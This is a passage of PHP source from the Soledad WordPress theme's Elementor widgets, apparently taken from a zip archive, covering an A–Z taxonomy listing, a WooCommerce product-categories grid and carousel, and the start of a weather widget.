				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'selectors' => array( '{{WRAPPER}} .penci_az_taxonomy_listing' => '--col: {{VALUE}};' ),
		) );
		
		$this->add_responsive_control( 'gap', array(
			'label'   => __( 'Gap', 'soledad' ),
			'type'    => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing' => '--gap: {{SIZE}}px;'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		// Heading Style
		$this->start_controls_section( 'section_heading_style', array(
			'label' => esc_html__( 'Heading Link', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
			'condition' => [
				'show_head' => 'yes',
			],
		) );

		$this->add_control( 'pcaz_heading_bg', array(
			'label'   => __( 'Background', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head, {{WRAPPER}} .penci_az_taxonomy_listing_head.style-2 a' => 'background: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_heading_bghv', array(
			'label'   => __( 'Hover Background', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'condition' => [
				'show_head_style' => 'style-2',
			],
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head.style-2 a:hover' => 'background: {{VALUE}};'
			),
		) );
		
		$this->add_responsive_control( 'pcaz_heading_padding', array(
			'label'   => __( 'Padding', 'soledad' ),
			'type'    => Controls_Manager::DIMENSIONS,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );
		
		$this->add_responsive_control( 'pcaz_heading_margin', array(
			'label'   => __( 'Margin', 'soledad' ),
			'type'    => Controls_Manager::DIMENSIONS,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_heading_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing_head',
			]
		);

		$this->add_control( 'pcaz_heading_txt_cl', array(
			'label'   => __( 'Link Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head a' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_heading_txt_hcl', array(
			'label'   => __( 'Link Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_heading_txt_typo',
			'label'    => __( 'Link Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing_head a',
		) );

		$this->end_controls_section();

		// Heading Style
		$this->start_controls_section( 'section_headingitem_style', array(
			'label' => esc_html__( 'Character', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_item_heading_cl', array(
			'label'   => __( 'Heading Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing h3' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_item_heading_typo',
			'label'    => __( 'Heading Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing h3',
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_item_heading_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing h3',
			]
		);

		$this->end_controls_section();

		// Item Style
		$this->start_controls_section( 'section_item_style', array(
			'label' => esc_html__( 'Links Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_link_cl', array(
			'label'   => __( 'Links Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_link_hcl', array(
			'label'   => __( 'Links Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_link_typo',
			'label'    => __( 'Links Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_item a',
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_link_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_item ul li:not(:last-child)',
			]
		);

		$this->add_responsive_control( 'pcaz_link_spacing', array(
			'label'   => __( 'Links Spacing', 'soledad' ),
			'type'    => Controls_Manager::SLIDER,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item ul li:not(:last-child)' => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_count_style', array(
			'label' => esc_html__( 'Count Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_count_cl', array(
			'label'   => __( 'Number Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item .pcaz_tcount' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_count_hcl', array(
			'label'   => __( 'Number Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a:hover .pcaz_tcount' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_count_typo',
			'label'    => __( 'Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_item .pcaz_tcount',
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}


	protected function render() {
		$settings = $this->get_settings();

		$ars_terms = array(
			'taxonomy'   => $settings['term_name'],
			'hide_empty' => $settings['hide_empty'] ? true : false,
			'orderby'    => $settings['orderby'],
			'order'      => $settings['order'],
		);

		$heading_style = $settings['show_head_style'];
		

		if ( $settings['taxonomies_ex'] ) {
			$ars_terms['exclude'] = $settings['taxonomies_ex'];
		}
		

		$paz_terms = get_terms( $ars_terms );

		
		$paz_grouped_terms = [];

		if ( ! empty( $paz_terms ) ) {

			foreach ( $paz_terms as $term_data ) {
				// Get the first letter (uppercase)
				$first_letter = strtoupper( mb_substr( $term_data->name, 0, 1 ) );

				// Check if the first letter key exists, if not, create it
				if ( ! isset( $paz_grouped_terms[ $first_letter ] ) ) {
					$paz_grouped_terms[ $first_letter ] = [];
				}

				// Add the term to the appropriate group
				$paz_grouped_terms[ $first_letter ][] = $term_data;
			}

			// Sort the groups alphabetically by first letter
			ksort( $paz_grouped_terms );

			echo '<div class="penci_az_taxonomy_listing_wrap">';

			$this->markup_block_title( $settings, $this );

			if ( $settings['show_head'] ) {

				echo '<div class="penci_az_taxonomy_listing_head '.$heading_style.'"><ul>';
				foreach ( $paz_grouped_terms as $paz_letter => $term_items ) {
					echo '<li><a href="#penci_az_'. esc_html( strtolower($paz_letter) ) .'">' . esc_html( $paz_letter ) . '</a></li>';
				}
				echo '</ul></div>';

			}


			echo '<div class="penci_az_taxonomy_listing">';

			foreach ( $paz_grouped_terms as $paz_letter => $term_items ) {
				if ( ! empty( $term_items) ) {
					echo '<div id="penci_az_'. esc_html( strtolower($paz_letter) ) .'" class="penci_az_taxonomy_item">';
					echo '<h3>' . esc_html( $paz_letter ) . '</h3><ul>';
					foreach ( $term_items as $term_sub_item ) {

						$term_name = $term_sub_item->name;

						if ( $term_name && $term_name !== '' ) {
							$count = $settings['show_count'] ? '<span class="pcaz_tcount">(' . $term_sub_item->count . ')</span>' : '';
							echo '<li><a href="' . get_term_link( $term_sub_item->term_id ) . '">' . $term_name .$count. '</a></li>';
						}
					}
					echo '</ul>';
					echo '</div>';
				}
			}
			echo '</div>';

			echo '</div>';
		} else {
			echo '<div class="penci_az_taxonomy_listing_wrap">';
			$this->markup_block_title( $settings, $this );
			echo '<div class="penci_az_taxonomy_listing">';
			echo '<p>' . esc_html__( 'No terms found.', 'soledad' ) . '</p>';
			echo '</div>';
			echo '</div>';
		}

	}
}PK     N\duf2  2  9  inc/elementor/modules/penci-product-categories/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategories;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_categories';
	}

	public function get_widgets() {
		return array( 'PenciProductCategories' );
	}
}
PK     N\'s<  s<  S  inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategories\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductCategories extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_categories';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product Categories', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-product-categories';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'number',
			[
				'label'       => esc_html__( 'Number', 'soledad' ),
				'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'orderby',
			[
				'label'   => esc_html__( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => '',
					'id'         => esc_html__( 'ID', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'title'      => esc_html__( 'Title', 'soledad' ),
					'menu_order' => esc_html__( 'Menu order', 'soledad' ),
					'modified'   => esc_html__( 'Last modified date', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'order',
			[
				'label'   => esc_html__( 'Sort order', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
			]
		);

		$this->add_control(
			'hide_empty',
			[
				'label'        => esc_html__( 'Hide empty', 'soledad' ),
				'description'  => esc_html__( 'Don’t display categories that don’t have any products assigned.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * Design settings.
		 */
		$this->start_controls_section(
			'design_style_section',
			[
				'label' => esc_html__( 'Design', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'categories_design',
			[
				'label'       => esc_html__( 'Categories design', 'soledad' ),
				'description' => esc_html__( 'Overrides option from Appearance -> WooCommerce', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'default',
				'options'     => array(
					''        => esc_html__( 'Default Theme Style', 'soledad' ),
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
					'style-5' => esc_html__( 'Style 5', 'soledad' ),
				),
			]
		);

		$this->end_controls_section();

		/**
		 * Layout settings.
		 */
		$this->start_controls_section(
			'layout_style_section',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'style',
			[
				'label'       => esc_html__( 'Layout', 'soledad' ),
				'description' => esc_html__( 'Try out our creative styles for categories block.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'default',
				'options'     => array(
					'default'  => esc_html__( 'Default', 'soledad' ),
					'grid-1'   => esc_html__( 'Grid 1', 'soledad' ),
					'grid-2'   => esc_html__( 'Grid 2', 'soledad' ),
					'grid-3'   => esc_html__( 'Grid 3', 'soledad' ),
					'grid-4'   => esc_html__( 'Grid 4', 'soledad' ),
					'grid-5'   => esc_html__( 'Grid 5', 'soledad' ),
					'carousel' => esc_html__( 'Carousel', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'columns',
			[
				'label'       => esc_html__( 'Columns', 'soledad' ),
				'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 4,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 6,
						'step' => 1,
					],
				],
				'condition'   => [
					'style' => [ 'masonry', 'default' ],
				],
			]
		);

		$this->add_control(
			'spacing',
			[
				'label'   => esc_html__( 'Space between', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'no-spacing' => esc_html__( 'No Spacing', 'soledad' ),
					'small'      => esc_html__( 'Small', 'soledad' ),
					'medium'     => esc_html__( 'Medium', 'soledad' ),
					'large'      => esc_html__( 'Large', 'soledad' ),
				],
				'default' => 'no-spacing',
			]
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section(
			'carousel_style_section',
			[
				'label'     => esc_html__( 'Carousel', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'style' => [ 'carousel' ],
				],
			]
		);

		$this->add_control(
			'slides_per_view',
			[
				'label'       => esc_html__( 'Slides per view', 'soledad' ),
				'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 3,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 8,
						'step' => 1,
					],
				],
			]
		);

		$this->add_control(
			'hide_pagination_control',
			[
				'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
				'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'hide_prev_next_buttons',
			[
				'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
				'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'wrap',
			[
				'label'        => esc_html__( 'Slider loop', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'autoplay',
			[
				'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'speed',
			[
				'label'       => esc_html__( 'Slider speed', 'soledad' ),
				'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
				'default'     => '5000',
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'autoplay' => 'yes',
				],
			]
		);

		$this->add_control(
			'scroll_carousel_init',
			[
				'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
				'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {

		$default_settings = [
			// Query.
			'number'                  => null,
			'orderby'                 => '',
			'order'                   => 'ASC',
			'ids'                     => '',

			// Layout.
			'columns'                 => '4',
			'hide_empty'              => 'yes',
			'style'                   => 'default',

			// Design.
			'categories_design'       => get_theme_mod( 'penci_woocommerce_product_cat_style', 'style-1' ),

			// Extra.
			'slides_per_view'         => 3,
			'hide_pagination_control' => 'no',
			'hide_prev_next_buttons'  => 'no',
			'wrap'                    => 'no',
			'autoplay'                => 'no',
			'speed'                   => '500',
			'scroll_carousel_init'    => 'no',
			'custom_sizes'            => false,
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		if ( ! $settings['spacing'] ) {
			$settings['spacing'] = get_theme_mod( 'penci-products_spacing' );
		}

		// Query.
		$query_args = array(
			'taxonomy'   => 'product_cat',
			'order'      => $settings['order'],
			'hide_empty' => 'yes' === $settings['hide_empty'],
			'include'    => $settings['ids'],
			'pad_counts' => true,
			'number'     => $settings['number'],
		);

		if ( $settings['orderby'] ) {
			$query_args['orderby'] = $settings['orderby'];
		}

		$categories = get_terms( $query_args );


		$settings['columns'] = isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 4;

		$columns = 'default' == $settings['style'] ? $settings['columns'] : 1;

		$style_class = ( 'default' == $settings['style'] || 'carousel' == $settings['style'] ) ? 'normal-grid' : 'penci-cat-grid';

		$loop_by_class = array(
			'default'  => 1,
			'carousel' => 1,
			'grid-1'   => 5,
			'grid-2'   => 6,
			'grid-3'   => 6,
			'grid-4'   => 5,
			'grid-5'   => 6,
			'grid-6'   => 6,
		);

		wc_set_loop_prop( 'loop_by', $loop_by_class[ $settings['style'] ] );
		wc_set_loop_prop( 'total', count( $categories ) );
		wc_set_loop_prop( 'products_columns', $columns );
		wc_set_loop_prop( 'product_categories_style', $settings['style'] );
		wc_set_loop_prop( 'cat-loop-style', $settings['categories_design'] );
		wc_set_loop_prop( 'elementor', true );

		$carousel_id = 'penci_categories_' . rand( 1000, 9999 );

		if ( 'carousel' === $settings['style'] ) {
			$settings['scroll_per_page'] = 'yes';
			$settings['carousel_id']     = $carousel_id;

			$this->add_render_attribute( 'wrapper', 'class', 'swiper penci-owl-carousel penci-owl-carousel-slider ' );
			$this->add_render_attribute( 'wrapper', 'data-item', isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3 );
			$this->add_render_attribute( 'wrapper', 'data-desktop', isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3 );
			$this->add_render_attribute( 'wrapper', 'data-dots', $settings['hide_pagination_control'] );
			$this->add_render_attribute( 'wrapper', 'data-nav', $settings['hide_prev_next_buttons'] );
			$this->add_render_attribute( 'wrapper', 'data-loop', $settings['wrap'] );
			$this->add_render_attribute( 'wrapper', 'data-ceffect', $settings['carousel_slider_effect'] );
			$this->add_render_attribute( 'wrapper', 'data-auto', $settings['autoplay'] );
			$this->add_render_attribute( 'wrapper', 'data-speed', $settings['speed'] );
			$this->add_render_attribute( 'wrapper', 'data-margin', 30 );
			$this->add_render_attribute( 'wrapper', 'data-lazy', $settings['scroll_carousel_init'] );

			if ( 'yes' === $settings['scroll_carousel_init'] ) {
				$this->add_render_attribute( 'wrapper', 'class', 'scroll-init' );
			}

			if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
				$this->add_render_attribute( 'wrapper', 'class', 'disable-owl-mobile' );
			}
		}

		// Wrapper classes.
		$this->add_render_attribute(
			[
				'wrapper' => [
					'class' => [
						'products',
						'woocommerce',
						'columns-' . $columns,
						'categories-style-' . $settings['style'],
						'grid-spacing-' . $settings['spacing'],
						$style_class,
					],
				],
			]
		);
		if ( $categories ) :
			?>
            <div class="woocommerce penci-product-categories">
				<?php $this->markup_block_title( $this->get_settings(), $this ); ?>
                <ul <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
					<?php if ( $settings['style'] == 'carousel' ) {
						echo '<div class="swiper-wrapper">';
					} ?>

					<?php if ( ! in_array( $settings['style'], array( 'default', 'carousel' ) ) )  { ?>
                    <ul>
						<?php } ?>
						<?php foreach ( $categories as $category ) : ?>
							<?php
							wc_get_template(
								'content-product-cat.php',
								array(
									'category' => $category,
								)
							);
							?>
						<?php endforeach; ?>
						<?php if ( ! in_array( $settings['style'], array( 'default', 'carousel' ) ) )  { ?>
                    </ul>
				<?php } ?>
					<?php if ( $settings['style'] == 'carousel' ) {
						echo '</div>';
					} ?>
                </ul>
            </div>
		<?php endif;
		wc_reset_loop();
	}
}
PK     N\X    .  inc/elementor/modules/penci-weather/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWeather;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-weather';
	}

	public function get_widgets() {
		return array( 'PenciWeather' );
	}
}
PK     N\       =  inc/elementor/modules/penci-weather/widgets/penci-weather.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWeather\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciWeather extends Base_Widget {

	public function get_name() {
		return 'penci-weather';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Weather', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'weather' );
	}

    public function get_style_depends(){
	    return ['penci-font-iweather'];
    }

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_user_loc', array(
				'label'   => __( 'Enable User Location', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
			)
		);

		$this->add_control(
			'penci_save_user_loc', array(
				'label'   => __( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
				'condition' => ['penci_user_loc'=>'yes']
			)
		);

		$this->add_control(
			'penci_location', array(
				'label'       => __( 'Search your for location:', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => 'London',
				'description' => sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ),
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_location_show', array(
				'label'       => __( 'Location display', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>',
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_units', array(
				'label'   => __( 'Units', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'metric',
				'options' => array(
					'imperial' => esc_html__( 'F', 'soledad' ),
					'metric'   => esc_html__( 'C', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'penci_forcast', array(
				'label'   => __( 'Forcast', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '5',
				'options' => array(
					'1' => esc_html__( '1 Day', 'soledad' ),
					'2' => esc_html__( '2 Days', 'soledad' ),
					'3' => esc_html__( '3 Days', 'soledad' ),
					'4' => esc_html__( '4 Days', 'soledad' ),
					'5' => esc_html__( '5 Days', 'soledad' ),
				),
			)
		);
		
		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'w_genneral_color',
			array(
				'label'     => __( 'General color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-weather-condition,' .
					'{{WRAPPER}} .penci-weather-information,' .
					'{{WRAPPER}} .penci-weather-lo-hi__content .fa,' .
					'{{WRAPPER}} .penci-circle,' .
					'{{WRAPPER}} .penci-weather-animated-icon i,' .
					'{{WRAPPER}} .penci-weather-unit' => 'color: {{VALUE}};  opacity: 1;',
				),
			)
		);

		$this->add_control(
			'w_localtion_color',
			array(
				'label'     => __( 'Localtion color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-city' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_location_typo',
				'label'    => __( 'Typography for Location', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-city',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_condition_typo',
				'label'    => __( 'Typography for Cloudiness', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-condition',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_whc_info_typo',
				'label'    => __( 'Typography for Wind,Humidity, Clouds', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-information',
			)
		);

		$this->add_control(
			'w_border_color',
			array(
				'label'     => __( 'Border color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-information' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'w_degrees_color',
			array(
				'label'     => __( 'Degrees color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-big-degrees,{{WRAPPER}} .penci-small-degrees' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_temp_typo',
				'label'    => __( 'Typography for Temperature', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-now .penci-big-degrees',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_tempsmall_typo',
				'label'    => __( 'Typography for Min/Max Temperature', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-degrees-wrap .penci-small-degrees',
			)
		);

		$this->add_control(
			'w_forecast_text_color',
			array(
				'label'     => __( 'Custom color for forecast weather in next days', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-week' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
